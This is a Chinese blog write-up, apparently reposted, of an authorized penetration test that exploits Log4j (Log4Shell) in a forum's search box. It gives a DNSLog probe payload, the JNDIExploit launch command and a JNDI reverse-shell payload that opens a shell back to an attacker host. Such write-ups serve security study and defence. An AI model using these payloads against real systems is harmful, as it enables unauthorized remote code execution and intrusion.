更新时间:2021.12.19
参考文档:https://www.yuque.com/u8021480/crow/dg9xax
在去年log4j
漏洞刚爆发的时候,很多平台都存在漏洞,当时也在第一时间在有授权的情况下对某论坛进行了渗透测试,结果发现存在漏洞,报告之后,漏洞也被很快修复。
本次对该渗透过程进行一个简单的记录,整个过程非常的简单,因为漏洞刚出来,也没有什么waf
,所以很快就拿下了。以下过程已进行脱敏,漏洞均已修复。
1. Dnslog漏洞探测
云端攻击机kali : 1x3.xxx.xx2.9
目标机:http://testxxx.cn/
中转文件:JNDIExploit-1.2-SNAPSHOT.jar
1.1 payload描述
在log4j
漏洞中,一般构造诸如:${jndi:ldap://6bbs.dnslog.cn/test}
之类的漏洞,但是在很多时候,因为有//
的存在,可能会触发系统自动将其作为url
链接访问,导致误判,因此在这里可以使用新的payload
进行测试:
${jndi:ldap://${sys:java.version}.335h25.dnslog.cn}
在这里可以显示起版本信息,如果能够显示,则证明一定存在漏洞。
1.2 测试
去dnslog平台申请一个域名:gx.dnslog.cn
直接构造:
${jndi:ldap://${sys:java.version}.gx.dnslog.cn}
然后在论坛的搜索框执行:
此时DNSLOG
平台有数据,证明存在漏洞:
既然存在漏洞,那就试试能否拿下RCE
。
2. log4j RCE
云端攻击机kali : 1x3.xxx.xx2.9
目标机:http://testxxx.com/
中转文件:JNDIExploit-1.2-SNAPSHOT.jar
2.1 准备工作
直接在攻击机上开启JNDIExploit-1.2-SNAPSHOT.jar
命令如下:java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 攻击机ip地址
通过漏洞探寻得知测试派的搜索框存在log4j漏洞,直接在这里构造exp即可:
${jndi:ldap://攻击机ip:1389/Basic/ReverseShell/攻击机ip/7777}
其中,去请求攻击机的的1389
端口,并且将shell
反弹给攻击机的7777
端口。
在攻击机上另启一个命令行,监听7777
端口:
此时状态如下:
2.2 攻击测试
直接在输入框里面输入上面构造好的exp
:
直接回车,shell就弹回来了:
判断当前是物理机还是Docker
:
cat /proc/1/cgroup
此时显示为物理机。(参考资料:[https://blog.csdn.net/mar_ljh/article/details/109011822](https://blog.csdn.net/mar_ljh/article/details/109011822)
)
测试结束,开始写报告。文章来源:https://www.toymoban.com/news/detail-425429.html
3. 漏洞修复
https://mp.weixin.qq.com/s/O22KoaKFE11dmAR3DVPqBQ文章来源地址https://www.toymoban.com/news/detail-425429.html
到了这里,关于【实战】一次简单的log4j漏洞测试的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!